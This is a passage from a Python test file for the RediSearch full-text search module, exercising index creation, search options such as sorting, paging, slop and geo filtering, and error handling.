'doc2', 1.0, 'fields', 'txt', 'hello world') r1 = env.cmd('ft.search', 'idx', 'foo bar', 'nocontent') r2 = env.cmd('ft.search', 'idx', 'foo bar hello world', 'nocontent') env.assertEqual(0, r1[0]) env.assertEqual(1, r2[0]) def testNoStopwords(env): # This test taken from Java's test suite env.cmd('ft.create', 'idx', 'ON', 'HASH', 'schema', 'title', 'text') for i in range(100): env.cmd('ft.add', 'idx', 'doc{}'.format(i), 1.0, 'fields', 'title', 'hello world' if i % 2 == 0 else 'hello worlds') res = env.cmd('ft.search', 'idx', 'hello a world', 'NOCONTENT') env.assertEqual(100, res[0]) res = env.cmd('ft.search', 'idx', 'hello a world', 'VERBATIM', 'NOCONTENT') env.assertEqual(50, res[0]) res = env.cmd('ft.search', 'idx', 'hello a world', 'NOSTOPWORDS') env.assertEqual(0, res[0]) def testOptional(env): r = env env.assertOk(r.execute_command( 'ft.create', 'idx', 'ON', 'HASH', 'schema', 'foo', 'text')) env.assertOk(r.execute_command('ft.add', 'idx', 'doc1', 1.0, 'fields', 'foo', 'hello wat woot')) env.assertOk(r.execute_command('ft.add', 'idx', 'doc2', 1.0, 'fields', 'foo', 'hello world woot')) env.assertOk(r.execute_command('ft.add', 'idx', 'doc3', 1.0, 'fields', 'foo', 'hello world werld')) expected = [3L, 'doc1', 'doc2', 'doc3'] res = r.execute_command('ft.search', 'idx', 'hello', 'nocontent') env.assertEqual(res, expected) res = r.execute_command( 'ft.search', 'idx', 'hello world', 'nocontent', 'scorer', 'DISMAX') env.assertEqual([2L, 'doc2', 'doc3'], res) res = r.execute_command( 'ft.search', 'idx', 'hello ~world', 'nocontent', 'scorer', 'DISMAX') env.assertEqual(res, expected) res = r.execute_command( 'ft.search', 'idx', 'hello ~world ~werld', 'nocontent', 'scorer', 'DISMAX') env.assertEqual(res, expected) res = r.execute_command( 'ft.search', 'idx', '~world ~werld hello', 'withscores', 'nocontent', 'scorer', 'DISMAX') env.assertEqual(res, [3L, 'doc3', '3', 'doc2', '2', 'doc1', '1']) def testExplain(env): r = env env.assertOk(r.execute_command( 'ft.create', 'idx', 'ON', 'HASH', 'schema', 'foo', 'text', 'bar', 'numeric', 'sortable')) q = '(hello world) "what what" hello|world @bar:[10 100]|@bar:[200 300]' res = r.execute_command('ft.explain', 'idx', q) # print res.replace('\n', '\\n') # expected = """INTERSECT {\n UNION {\n hello\n +hello(expanded)\n }\n UNION {\n world\n +world(expanded)\n }\n EXACT {\n what\n what\n }\n UNION {\n UNION {\n hello\n +hello(expanded)\n }\n UNION {\n world\n +world(expanded)\n }\n }\n UNION {\n NUMERIC {10.000000 <= @bar <= 100.000000}\n NUMERIC {200.000000 <= @bar <= 300.000000}\n }\n}\n""" # expected = """INTERSECT {\n UNION {\n hello\n <HL(expanded)\n +hello(expanded)\n }\n UNION {\n world\n <ARLT(expanded)\n +world(expanded)\n }\n EXACT {\n what\n what\n }\n UNION {\n UNION {\n hello\n <HL(expanded)\n +hello(expanded)\n }\n UNION {\n world\n <ARLT(expanded)\n +world(expanded)\n }\n }\n UNION {\n NUMERIC {10.000000 <= @bar <= 100.000000}\n NUMERIC {200.000000 <= @bar <= 300.000000}\n }\n}\n""" expected = """INTERSECT {\n UNION {\n hello\n +hello(expanded)\n }\n UNION {\n world\n +world(expanded)\n }\n EXACT {\n what\n what\n }\n UNION {\n UNION {\n hello\n +hello(expanded)\n }\n UNION {\n world\n +world(expanded)\n }\n }\n UNION {\n NUMERIC {10.000000 <= @bar <= 100.000000}\n NUMERIC {200.000000 <= @bar <= 300.000000}\n }\n}\n""" env.assertEqual(res, expected) # expected = ['INTERSECT {', ' UNION {', ' hello', ' <HL(expanded)', ' +hello(expanded)', ' }', ' UNION {', ' world', ' <ARLT(expanded)', ' +world(expanded)', ' }', ' EXACT {', ' what', ' what', ' }', ' UNION {', ' UNION {', ' hello', ' <HL(expanded)', ' +hello(expanded)', ' }', ' UNION {', ' world', ' <ARLT(expanded)', ' +world(expanded)', ' }', ' }', ' UNION {', ' NUMERIC {10.000000 <= @bar <= 100.000000}', ' NUMERIC {200.000000 <= @bar <= 300.000000}', ' }', '}', ''] if env.is_cluster(): raise unittest.SkipTest() res = env.cmd('ft.explainCli', 'idx', q) expected = ['INTERSECT {', ' UNION {', ' hello', ' +hello(expanded)', ' }', ' UNION {', ' world', ' +world(expanded)', ' }', ' EXACT {', ' what', ' what', ' }', ' UNION {', ' UNION {', ' hello', ' +hello(expanded)', ' }', ' UNION {', ' world', ' +world(expanded)', ' }', ' }', ' UNION {', ' NUMERIC {10.000000 <= @bar <= 100.000000}', ' NUMERIC {200.000000 <= @bar <= 300.000000}', ' }', '}', ''] env.assertEqual(expected, res) def testNoIndex(env): r = env env.assertOk(r.execute_command( 'ft.create', 'idx', 'ON', 'HASH', 'schema', 'foo', 'text', 'num', 'numeric', 'sortable', 'noindex', 'extra', 'text', 'noindex', 'sortable')) if not env.isCluster(): # to specific check on cluster, todo : change it to be generic enough res = env.cmd('ft.info', 'idx') env.assertEqual(res[7][1][4], 'NOINDEX') env.assertEqual(res[7][2][6], 'NOINDEX') env.assertOk(r.execute_command('ft.add', 'idx', 'doc1', '0.1', 'fields', 'foo', 'hello world', 'num', 1, 'extra', 'hello lorem ipsum')) res = r.execute_command( 'ft.search', 'idx', 'hello world', 'nocontent') env.assertListEqual([1, 'doc1'], res) res = r.execute_command( 'ft.search', 'idx', 'lorem ipsum', 'nocontent') env.assertListEqual([0], res) res = r.execute_command( 'ft.search', 'idx', '@extra:hello', 'nocontent') env.assertListEqual([0], res) res = r.execute_command( 'ft.search', 'idx', '@num:[1 1]', 'nocontent') env.assertListEqual([0], res) def testPartial(env): r = env env.assertOk(r.execute_command( 'ft.create', 'idx', 'ON', 'HASH', 'SCORE_FIELD', '__score', 'schema', 'foo', 'text', 'num', 'numeric', 'sortable', 'noindex', 'extra', 'text', 'noindex')) # print r.execute_command('ft.info', 'idx') env.assertOk(r.execute_command('ft.add', 'idx', 'doc1', '0.1', 'fields', 'foo', 'hello world', 'num', 1, 'extra', 'lorem ipsum')) env.assertOk(r.execute_command('ft.add', 'idx', 'doc2', '0.1', 'fields', 'foo', 'hello world', 'num', 2, 'extra', 'abba')) res = r.execute_command('ft.search', 'idx', 'hello world', 'sortby', 'num', 'asc', 'nocontent', 'withsortkeys') env.assertListEqual([2L, 'doc1', '#1', 'doc2', '#2'], res) res = r.execute_command('ft.search', 'idx', 'hello world', 'sortby', 'num', 'desc', 'nocontent', 'withsortkeys') env.assertListEqual([2L, 'doc2', '#2', 'doc1', '#1'], res) # Updating non indexed fields doesn't affect search results env.assertOk(r.execute_command('ft.add', 'idx', 'doc1', '0.1', 'replace', 'partial', 'fields', 'num', 3, 'extra', 'jorem gipsum')) env.expect('ft.add', 'idx', 'doc12', '0.1', 'replace', 'partial', 'fields', 'num1', 'redis').equal('OK') res = r.execute_command( 'ft.search', 'idx', 'hello world', 'sortby', 'num', 'desc',) assertResultsEqual(env, [2L, 'doc1', ['foo', 'hello world', 'num', '3','extra', 'jorem gipsum'], 'doc2', ['foo', 'hello world', 'num', '2', 'extra', 'abba']], res) res = r.execute_command( 'ft.search', 'idx', 'hello', 'nocontent', 'withscores') # Updating only indexed field affects search results env.assertOk(r.execute_command('ft.add', 'idx', 'doc1', '0.1', 'replace', 'partial', 'fields', 'foo', 'wat wet')) res = r.execute_command( 'ft.search', 'idx', 'hello world', 'nocontent') env.assertListEqual([1L, 'doc2'], res) res = r.execute_command('ft.search', 'idx', 'wat', 'nocontent') env.assertListEqual([1L, 'doc1'], res) # Test updating of score and no fields res = r.execute_command( 'ft.search', 'idx', 'wat', 'nocontent', 'withscores') env.assertLess(float(res[2]), 1) # env.assertListEqual([1L, 'doc1'], res) env.assertOk(r.execute_command('ft.add', 'idx', 'doc1', '1.0', 'replace', 'partial', 'fields')) res = r.execute_command( 'ft.search', 'idx', 'wat', 'nocontent', 'withscores') # We reindex though no new fields, just score is updated. this effects score env.assertEqual(float(res[2]), 1) # Test updating payloads res = r.execute_command( 'ft.search', 'idx', 'wat', 'nocontent', 'withpayloads') env.assertIsNone(res[2]) env.assertOk(r.execute_command('ft.add', 'idx', 'doc1', '1.0', 'replace', 'partial', 'payload', 'foobar', 'fields')) res = r.execute_command( 'ft.search', 'idx', 'wat', 'nocontent', 'withpayloads') env.assertEqual('foobar', res[2]) def testPaging(env): r = env env.assertOk(r.execute_command( 'ft.create', 'idx', 'ON', 'HASH', 'schema', 'foo', 'text', 'bar', 'numeric', 'sortable')) N = 100 for i in range(N): env.assertOk(r.execute_command('ft.add', 'idx', '%d' % i, 1, 'fields', 'foo', 'hello', 'bar', i)) chunk = 7 offset = 0 while True: res = r.execute_command( 'ft.search', 'idx', 'hello', 'nocontent', 'sortby', 'bar', 'desc', 'limit', offset, chunk) env.assertEqual(res[0], N) if offset + chunk > N: env.assertTrue(len(res) - 1 <= chunk) break env.assertEqual(len(res), chunk + 1) for n, id in enumerate(res[1:]): env.assertEqual(int(id), N - 1 - (offset + n)) offset += chunk chunk = random.randrange(1, 10) res = r.execute_command( 'ft.search', 'idx', 'hello', 'nocontent', 'sortby', 'bar', 'asc', 'limit', N, 10) env.assertEqual(res[0], N) env.assertEqual(len(res), 1) with env.assertResponseError(): r.execute_command( 'ft.search', 'idx', 'hello', 'nocontent', 'limit', 0, -1) with env.assertResponseError(): r.execute_command( 'ft.search', 'idx', 'hello', 'nocontent', 'limit', -1, 10) with env.assertResponseError(): r.execute_command( 'ft.search', 'idx', 'hello', 'nocontent', 'limit', 0, 2000000) def testPrefix(env): r = env env.assertOk(r.execute_command( 'ft.create', 'idx', 'ON', 'HASH', 'schema', 'foo', 'text')) N = 100 for i in range(N): env.assertOk(r.execute_command('ft.add', 'idx', 'doc%d' % i, 1.0, 'fields', 'foo', 'constant term%d' % (random.randrange(0, 5)))) for _ in r.retry_with_rdb_reload(): waitForIndex(r, 'idx') res = r.execute_command( 'ft.search', 'idx', 'constant term', 'nocontent') env.assertEqual([0], res) res = r.execute_command( 'ft.search', 'idx', 'constant term*', 'nocontent') env.assertEqual(N, res[0]) res = r.execute_command( 'ft.search', 'idx', 'const* term*', 'nocontent') env.assertEqual(N, res[0]) res = r.execute_command( 'ft.search', 'idx', 'constant term1*', 'nocontent') env.assertGreater(res[0], 2) res = r.execute_command( 'ft.search', 'idx', 'const* -term*', 'nocontent') env.assertEqual([0], res) res = r.execute_command( 'ft.search', 'idx', 'constant term9*', 'nocontent') env.assertEqual([0], res) def testSortBy(env): r = env env.assertOk(r.execute_command( 'ft.create', 'idx', 'ON', 'HASH', 'schema', 'foo', 'text', 'sortable', 'bar', 'numeric', 'sortable')) N = 100 for i in range(N): env.assertOk(r.execute_command('ft.add', 'idx', 'doc%d' % i, 1.0, 'fields', 'foo', 'hello%03d world' % i, 'bar', 100 - i)) for _ in r.retry_with_rdb_reload(): waitForIndex(r, 'idx') res = r.execute_command( 'ft.search', 'idx', 'world', 'nocontent', 'sortby', 'foo') env.assertEqual([100L, 'doc0', 'doc1', 'doc2', 'doc3', 'doc4', 'doc5', 'doc6', 'doc7', 'doc8', 'doc9'], res) res = r.execute_command( 'ft.search', 'idx', 'world', 'nocontent', 'sortby', 'foo', 'desc') env.assertEqual([100L, 'doc99', 'doc98', 'doc97', 'doc96', 'doc95', 'doc94', 'doc93', 'doc92', 'doc91', 'doc90'], res) res = r.execute_command( 'ft.search', 'idx', 'world', 'nocontent', 'sortby', 'bar', 'desc') env.assertEqual([100L, 'doc0', 'doc1', 'doc2', 'doc3', 'doc4', 'doc5', 'doc6', 'doc7', 'doc8', 'doc9'], res) res = r.execute_command( 'ft.search', 'idx', 'world', 'nocontent', 'sortby', 'bar', 'asc') env.assertEqual([100L, 'doc99', 'doc98', 'doc97', 'doc96', 'doc95', 'doc94', 'doc93', 'doc92', 'doc91', 'doc90'], res) res = r.execute_command('ft.search', 'idx', 'world', 'nocontent', 'sortby', 'bar', 'desc', 'withscores', 'limit', '2', '5') env.assertEqual( [100L, 'doc2', '0', 'doc3', '0', 'doc4', '0', 'doc5', '0', 'doc6', '0'], res) res = r.execute_command('ft.search', 'idx', 'world', 'nocontent', 'sortby', 'bar', 'desc', 'withsortkeys', 'limit', 0, 5) env.assertListEqual( [100L, 'doc0', '#100', 'doc1', '#99', 'doc2', '#98', 'doc3', '#97', 'doc4', '#96'], res) res = r.execute_command('ft.search', 'idx', 'world', 'nocontent', 'sortby', 'foo', 'desc', 'withsortkeys', 'limit', 0, 5) env.assertListEqual([100L, 'doc99', '$hello099 world', 'doc98', '$hello098 world', 'doc97', '$hello097 world', 'doc96', '$hello096 world', 'doc95', '$hello095 world'], res) def testSortByWithoutSortable(env): r = env env.assertOk(r.execute_command( 'ft.create', 'idx', 'schema', 'foo', 'text', 'bar', 'numeric', 'baz', 'text', 'sortable')) N = 100 for i in range(N): env.assertOk(r.execute_command('ft.add', 'idx', 'doc%d' % i, 1.0, 'fields', 'foo', 'hello%03d world' % i, 'bar', 100 - i)) for _ in r.retry_with_rdb_reload(): waitForIndex(r, 'idx') # test text res = r.execute_command( 'ft.search', 'idx', 'world', 'nocontent', 'sortby', 'foo') env.assertEqual([100L, 'doc0', 'doc1', 'doc2', 'doc3', 'doc4', 'doc5', 'doc6', 'doc7', 'doc8', 'doc9'], res) res = r.execute_command( 'ft.search', 'idx', 'world', 'nocontent', 'sortby', 'foo', 'desc') env.assertEqual([100L, 'doc99', 'doc98', 'doc97', 'doc96', 'doc95', 'doc94', 'doc93', 'doc92', 'doc91', 'doc90'], res) res = r.execute_command('ft.search', 'idx', 'world', 'nocontent', 'sortby', 'foo', 'desc', 'withsortkeys', 'limit', 0, 5) env.assertListEqual([100L, 'doc99', '$hello099 world', 'doc98', '$hello098 world', 'doc97', '$hello097 world', 'doc96', '$hello096 world', 'doc95', '$hello095 world'], res) # test numeric res = r.execute_command( 'ft.search', 'idx', 'world', 'nocontent', 'sortby', 'bar', 'desc') env.assertEqual([100L, 'doc0', 'doc1', 'doc2', 'doc3', 'doc4', 'doc5', 'doc6', 'doc7', 'doc8', 'doc9'], res) res = r.execute_command( 'ft.search', 'idx', 'world', 'nocontent', 'sortby', 'bar', 'asc') env.assertEqual([100L, 'doc99', 'doc98', 'doc97', 'doc96', 'doc95', 'doc94', 'doc93', 'doc92', 'doc91', 'doc90'], res) res = r.execute_command('ft.search', 'idx', 'world', 'nocontent', 'sortby', 'bar', 'desc', 'withscores', 'limit', '2', '5') env.assertEqual( [100L, 'doc2', '0', 'doc3', '0', 'doc4', '0', 'doc5', '0', 'doc6', '0'], res) res = r.execute_command('ft.search', 'idx', 'world', 'nocontent', 'sortby', 'bar', 'desc', 'withsortkeys', 'limit', 0, 5) env.assertListEqual( [100L, 'doc0', '#100', 'doc1', '#99', 'doc2', '#98', 'doc3', '#97', 'doc4', '#96'], res) # test partial def testNot(env): r = env env.assertOk(r.execute_command( 'ft.create', 'idx', 'ON', 'HASH', 'schema', 'foo', 'text')) N = 10 for i in range(N): env.assertOk(r.execute_command('ft.add', 'idx', 'doc%d' % i, 1.0, 'fields', 'foo', 'constant term%d' % (random.randrange(0, 5)))) for i in range(5): inclusive = r.execute_command( 'ft.search', 'idx', 'constant term%d' % i, 'nocontent', 'limit', 0, N) exclusive = r.execute_command( 'ft.search', 'idx', 'constant -term%d' % i, 'nocontent', 'limit', 0, N) exclusive2 = r.execute_command( 'ft.search', 'idx', '-(term%d)' % i, 'nocontent', 'limit', 0, N) exclusive3 = r.execute_command( 'ft.search', 'idx', '(-term%d) (constant)' % i, 'nocontent', 'limit', 0, N) env.assertNotEqual(inclusive[0], N) env.assertEqual(inclusive[0] + exclusive[0], N) env.assertEqual(exclusive3[0], exclusive2[0]) env.assertEqual(exclusive3[0], exclusive[0]) s1, s2, s3, s4 = set(inclusive[1:]), set( exclusive[1:]), set(exclusive2[1:]), set(exclusive3[1:]) env.assertTrue(s1.difference(s2) == s1) env.assertTrue(s1.difference(s3) == s1) env.assertTrue(s1.difference(s4) == s1) env.assertTrue(s2 == s3) env.assertTrue(s2 == s4) env.assertTrue(s2.intersection(s1) == set()) env.assertTrue(s3.intersection(s1) == set()) env.assertTrue(s4.intersection(s1) == set()) # NOT on a non existing term env.assertEqual(r.execute_command( 'ft.search', 'idx', 'constant -dasdfasdf', 'nocontent')[0], N) # not on env term env.assertEqual(r.execute_command( 'ft.search', 'idx', 'constant -constant', 'nocontent'), [0]) env.assertEqual(r.execute_command( 'ft.search', 'idx', 'constant -(term0|term1|term2|term3|term4|nothing)', 'nocontent'), [0]) # env.assertEqual(r.execute_command('ft.search', 'idx', 'constant -(term1 term2)', 'nocontent')[0], N) def testNestedIntersection(env): r = env env.assertOk(r.execute_command( 'ft.create', 'idx', 'ON', 'HASH', 'schema', 'a', 'text', 'b', 'text', 'c', 'text', 'd', 'text')) for i in range(20): env.assertOk(r.execute_command('ft.add', 'idx', 'doc%d' % i, 1.0, 'fields', 'a', 'foo', 'b', 'bar', 'c', 'baz', 'd', 'gaz')) res = [ r.execute_command('ft.search', 'idx', 'foo bar baz gaz', 'nocontent'), r.execute_command('ft.search', 'idx', '@a:foo @b:bar @c:baz @d:gaz', 'nocontent'), r.execute_command('ft.search', 'idx', '@b:bar @a:foo @c:baz @d:gaz', 'nocontent'), r.execute_command('ft.search', 'idx', '@c:baz @b:bar @a:foo @d:gaz', 'nocontent'), r.execute_command('ft.search', 'idx', '@d:gaz @c:baz @b:bar @a:foo', 'nocontent'), r.execute_command( 'ft.search', 'idx', '@a:foo (@b:bar (@c:baz @d:gaz))', 'nocontent'), r.execute_command( 'ft.search', 'idx', '@c:baz (@a:foo (@b:bar (@c:baz @d:gaz)))', 'nocontent'), r.execute_command( 'ft.search', 'idx', '@b:bar (@a:foo (@c:baz @d:gaz))', 'nocontent'), r.execute_command( 'ft.search', 'idx', '@d:gaz (@a:foo (@c:baz @b:bar))', 'nocontent'), r.execute_command('ft.search', 'idx', 'foo (bar baz gaz)', 'nocontent'), r.execute_command('ft.search', 'idx', 'foo (bar (baz gaz))', 'nocontent'), r.execute_command('ft.search', 'idx', 'foo (bar (foo bar) (foo bar))', 'nocontent'), r.execute_command('ft.search', 'idx', 'foo (foo (bar baz (gaz)))', 'nocontent'), r.execute_command('ft.search', 'idx', 'foo (foo (bar (baz (gaz (foo bar (gaz))))))', 'nocontent')] for i, r in enumerate(res): # print i, res[0], r env.assertListEqual(res[0], r) def testInKeys(env): r = env env.assertOk(r.execute_command( 'ft.create', 'idx', 'ON', 'HASH', 'schema', 'foo', 'text')) for i in range(200): env.assertOk(r.execute_command('ft.add', 'idx', 'doc%d' % i, 1.0, 'fields', 'foo', 'hello world')) for _ in r.retry_with_rdb_reload(): waitForIndex(env, 'idx') for keys in ( ['doc%d' % i for i in range(10)], ['doc%d' % i for i in range(0, 30, 2)], [ 'doc%d' % i for i in range(99, 0, -5)] ): res = r.execute_command( 'ft.search', 'idx', 'hello world', 'NOCONTENT', 'LIMIT', 0, 100, 'INKEYS', len(keys), *keys) env.assertEqual(len(keys), res[0]) env.assertTrue(all((k in res for k in keys))) env.assertEqual(0, r.execute_command( 'ft.search', 'idx', 'hello world', 'NOCONTENT', 'LIMIT', 0, 100, 'INKEYS', 3, 'foo', 'bar', 'baz')[0]) with env.assertResponseError(): env.cmd('ft.search', 'idx', 'hello', 'INKEYS', 99) with env.assertResponseError(): env.cmd('ft.search', 'idx', 'hello', 'INKEYS', -1) with env.assertResponseError(): env.cmd('ft.search', 'idx', 'hello', 'inkeys', 4, 'foo') def testSlopInOrder(env): r = env env.assertOk(r.execute_command( 'ft.create', 'idx', 'ON', 'HASH', 'schema', 'title', 'text')) env.assertOk(r.execute_command('ft.add', 'idx', 'doc1', 1, 'fields', 'title', 't1 t2')) env.assertOk(r.execute_command('ft.add', 'idx', 'doc2', 1, 'fields', 'title', 't1 t3 t2')) env.assertOk(r.execute_command('ft.add', 'idx', 'doc3', 1, 'fields', 'title', 't1 t3 t4 t2')) env.assertOk(r.execute_command('ft.add', 'idx', 'doc4', 1, 'fields', 'title', 't1 t3 t4 t5 t2')) res = r.execute_command( 'ft.search', 'idx', 't1|t4 t3|t2', 'slop', '0', 'inorder', 'nocontent') env.assertEqual({'doc3', 'doc4', 'doc2', 'doc1'}, set(res[1:])) res = r.execute_command( 'ft.search', 'idx', 't2 t1', 'slop', '0', 'nocontent') env.assertEqual(1, res[0]) env.assertEqual('doc1', res[1]) env.assertEqual(0, r.execute_command( 'ft.search', 'idx', 't2 t1', 'slop', '0', 'inorder')[0]) env.assertEqual(1, r.execute_command( 'ft.search', 'idx', 't1 t2', 'slop', '0', 'inorder')[0]) env.assertEqual(2, r.execute_command( 'ft.search', 'idx', 't1 t2', 'slop', '1', 'inorder')[0]) env.assertEqual(3, r.execute_command( 'ft.search', 'idx', 't1 t2', 'slop', '2', 'inorder')[0]) env.assertEqual(4, r.execute_command( 'ft.search', 'idx', 't1 t2', 'slop', '3', 'inorder')[0]) env.assertEqual(4, r.execute_command( 'ft.search', 'idx', 't1 t2', 'inorder')[0]) env.assertEqual(0, r.execute_command( 'ft.search', 'idx', 't t1', 'inorder')[0]) env.assertEqual(2, r.execute_command( 'ft.search', 'idx', 't1 t2 t3 t4')[0]) env.assertEqual(0, r.execute_command( 'ft.search', 'idx', 't1 t2 t3 t4', 'inorder')[0]) def testExact(env): r = env env.assertOk(r.execute_command( 'ft.create', 'idx', 'ON', 'HASH', 'schema', 'title', 'text', 'weight', 10.0, 'body', 'text')) env.assertOk(r.execute_command('ft.add', 'idx', 'doc1', 0.5, 'fields', 'title', 'hello world', 'body', 'lorem ist ipsum')) env.assertOk(r.execute_command('ft.add', 'idx', 'doc2', 1.0, 'fields', 'title', 'hello another world', 'body', 'lorem ist ipsum lorem lorem')) res = r.execute_command( 'ft.search', 'idx', '"hello world"', 'verbatim') env.assertEqual(3, len(res)) env.assertEqual(1, res[0]) env.assertEqual("doc1", res[1]) res = r.execute_command( 'ft.search', 'idx', "hello \"another world\"", 'verbatim') env.assertEqual(3, len(res)) env.assertEqual(1, res[0]) env.assertEqual("doc2", res[1]) def testGeoErrors(env): env.expect('flushall') env.expect('ft.create idx ON HASH schema name text location geo').equal('OK') env.expect('ft.add idx hotel 1.0 fields name hill location -0.1757,51.5156').equal('OK') env.expect('ft.search idx hilton geofilter location -0.1757 51.5156 1 km').equal([0L]) # Insert error - works fine with out of keyspace implementation # env.expect('ft.add', 'idx', 'hotel1', 1, 'fields', 'name', '_hotel1', 'location', '1, 1').error() \ # .contains('Could not index geo value') # Query errors env.expect('ft.search idx hilton geofilter location lon 51.5156 1 km').error() \ .contains('Bad arguments for <lon>: Could not convert argument to expected type') env.expect('ft.search idx hilton geofilter location 51.5156 lat 1 km').error() \ .contains('Bad arguments for <lat>: Could not convert argument to expected type') env.expect('ft.search idx hilton geofilter location -0.1757 51.5156 radius km').error() \ .contains('Bad arguments for <radius>: Could not convert argument to expected type') env.expect('ft.search idx hilton geofilter location -0.1757 51.5156 1 fake').error() \ .contains('Unknown distance unit fake') env.expect('ft.search idx hilton geofilter location -0.1757 51.5156 1').error() \ .contains('GEOFILTER requires 5 arguments') def testGeo(env): r = env gsearch = lambda query, lon, lat, dist, unit='km': r.execute_command( 'ft.search', 'idx', query, 'geofilter', 'location', lon, lat, dist, unit, 'LIMIT', 0, 20) gsearch_inline = lambda query, lon, lat, dist, unit='km': r.execute_command( 'ft.search', 'idx', '{} @location:[{} {} {} {}]'.format(query, lon, lat, dist, unit), 'LIMIT', 0, 20) env.assertOk(r.execute_command('ft.create', 'idx', 'ON', 'HASH', 'schema', 'name', 'text', 'location', 'geo')) for i, hotel in enumerate(hotels): env.assertOk(r.execute_command('ft.add', 'idx', 'hotel{}'.format(i), 1.0, 'fields', 'name', hotel[0], 'location', '{},{}'.format(hotel[2], hotel[1]))) for _ in r.retry_with_rdb_reload(): waitForIndex(env, 'idx') res = r.execute_command('ft.search', 'idx', 'hilton') env.assertEqual(len(hotels), res[0]) res = gsearch('hilton', "-0.1757", "51.5156", '1') env.assertEqual(3, res[0]) env.assertIn('hotel2', res) env.assertIn('hotel21', res) env.assertIn('hotel79', res) res2 = gsearch_inline('hilton', "-0.1757", "51.5156", '1') env.assertListEqual(res, res2) res = gsearch('hilton', "-0.1757", "51.5156", '10') env.assertEqual(14, res[0]) res2 = gsearch('hilton', "-0.1757", "51.5156", '10000', 'm') env.assertListEqual(sorted(res), sorted(res2)) res2 = gsearch_inline('hilton', "-0.1757", "51.5156", '10') env.assertListEqual(sorted(res), sorted(res2)) res = gsearch('heathrow', -0.44155, 51.45865, '10', 'm') env.assertEqual(1, res[0]) env.assertEqual('hotel94', res[1]) res2 = gsearch_inline( 'heathrow', -0.44155, 51.45865, '10', 'm') env.assertListEqual(res, res2) res = gsearch('heathrow', -0.44155, 51.45865, '10', 'km') env.assertEqual(5, res[0]) env.assertIn('hotel94', res) res2 = gsearch_inline( 'heathrow', -0.44155, 51.45865, '10', 'km') env.assertEqual(5, res2[0]) env.assertListEqual(sorted(res), sorted(res2)) res = gsearch('heathrow', -0.44155, 51.45865, '5', 'km') env.assertEqual(3, res[0]) env.assertIn('hotel94', res) res2 = gsearch_inline( 'heathrow', -0.44155, 51.45865, '5', 'km') env.assertListEqual(sorted(res), sorted(res2)) def testTagErrors(env): env.expect("ft.create", "test", 'ON', 'HASH', "SCHEMA", "tags", "TAG").equal('OK') env.expect("ft.add", "test", "1", "1", "FIELDS", "tags", "alberta").equal('OK') env.expect("ft.add", "test", "2", "1", "FIELDS", "tags", "ontario. alberta").equal('OK') def testGeoDeletion(env): if env.is_cluster(): raise unittest.SkipTest() # Can't properly test if deleted on cluster env.expect('ft.config', 'set', 'FORK_GC_CLEAN_THRESHOLD', 0).ok() env.cmd('ft.create', 'idx', 'ON', 'HASH', 'schema', 'g1', 'geo', 'g2', 'geo', 't1', 'text') env.cmd('ft.add', 'idx', 'doc1', 1.0, 'fields', 'g1', "-0.1757,51.5156", 'g2', "-0.1757,51.5156", 't1', "hello") env.cmd('ft.add', 'idx', 'doc2', 1.0, 'fields', 'g1', "-0.1757,51.5156", 'g2', "-0.1757,51.5156", 't1', "hello") env.cmd('ft.add', 'idx', 'doc3', 1.0, 'fields', 'g1', "-0.1757,51.5156", 't1', "hello") # keys are: "geo:idx/g1" and "geo:idx/g2" env.assertEqual(3, len(env.cmd('FT.DEBUG DUMP_NUMIDX idx g1')[0])) env.assertEqual(2, len(env.cmd('FT.DEBUG DUMP_NUMIDX idx g2')[0])) # Remove the first doc env.cmd('ft.del', 'idx', 'doc1') for _ in range(100): env.cmd('ft.debug', 'gc_forceinvoke', 'idx') env.assertEqual(2, len(env.cmd('FT.DEBUG DUMP_NUMIDX idx g1')[0])) env.assertEqual(1, len(env.cmd('FT.DEBUG DUMP_NUMIDX idx g2')[0])) # Replace the other one: env.cmd('ft.add', 'idx', 'doc2', 1.0, 'replace', 'fields', 't1', 'just text here') for _ in range(100): env.cmd('ft.debug', 'gc_forceinvoke', 'idx') env.assertEqual(1, len(env.cmd('FT.DEBUG DUMP_NUMIDX idx g1')[0])) env.assertEqual(0, len(env.cmd('FT.DEBUG DUMP_NUMIDX idx g2')[0])) def testInfields(env): r = env env.assertOk(r.execute_command( 'ft.create', 'idx', 'ON', 'HASH', 'schema', 'title', 'text', 'weight', 10.0, 'body', 'text', 'weight', 1.0)) env.assertOk(r.execute_command('ft.add', 'idx', 'doc1', 0.5, 'fields', 'title', 'hello world', 'body', 'lorem ipsum')) env.assertOk(r.execute_command('ft.add', 'idx', 'doc2', 1.0, 'fields', 'title', 'hello world lorem ipsum', 'body', 'hello world')) res = r.execute_command( 'ft.search', 'idx', 'hello world', 'verbatim', "infields", 1, "title", "nocontent") env.assertEqual(3, len(res)) env.assertEqual(2, res[0]) env.assertEqual("doc2", res[1]) env.assertEqual("doc1", res[2]) res = r.execute_command( 'ft.search', 'idx', 'hello world', 'verbatim', "infields", 1, "body", "nocontent") env.assertEqual(2, len(res)) env.assertEqual(1, res[0]) env.assertEqual("doc2", res[1]) res = r.execute_command( 'ft.search', 'idx', 'hello', 'verbatim', "infields", 1, "body", "nocontent") env.assertEqual(2, len(res)) env.assertEqual(1, res[0]) env.assertEqual("doc2", res[1]) res = r.execute_command( 'ft.search', 'idx', '\"hello world\"', 'verbatim', "infields", 1, "body", "nocontent") env.assertEqual(2, len(res)) env.assertEqual(1, res[0]) env.assertEqual("doc2", res[1]) res = r.execute_command( 'ft.search', 'idx', '\"lorem ipsum\"', 'verbatim', "infields", 1, "body", "nocontent") env.assertEqual(2, len(res)) env.assertEqual(1, res[0]) env.assertEqual("doc1", res[1]) res = r.execute_command( 'ft.search', 'idx', 'lorem ipsum', "infields", 2, "body", "title", "nocontent") env.assertEqual(3, len(res)) env.assertEqual(2, res[0]) env.assertEqual("doc2", res[1]) env.assertEqual("doc1", res[2]) def testScorerSelection(env): r = env env.assertOk(r.execute_command( 'ft.create', 'idx', 'ON', 'HASH', 'schema', 'title', 'text', 'body', 'text')) # this is the default scorer res = r.execute_command( 'ft.search', 'idx', 'foo', 'scorer', 'TFIDF') env.assertEqual(res, [0]) with env.assertResponseError(): res = r.execute_command( 'ft.search', 'idx', 'foo', 'scorer', 'NOSUCHSCORER') def testFieldSelectors(env): r = env env.assertOk(r.execute_command( 'ft.create', 'idx', 'ON', 'HASH', 'PREFIX', 1, 'doc', 'schema', 'TiTle', 'text', 'BoDy', 'text', "יוניקוד", 'text', 'field.with,punct', 'text')) #todo: document as breaking change, ft.add fields name are not case insentive env.assertOk(r.execute_command('ft.add', 'idx', 'doc1', 1, 'fields', 'TiTle', 'hello world', 'BoDy', 'foo bar', 'יוניקוד', 'unicode', 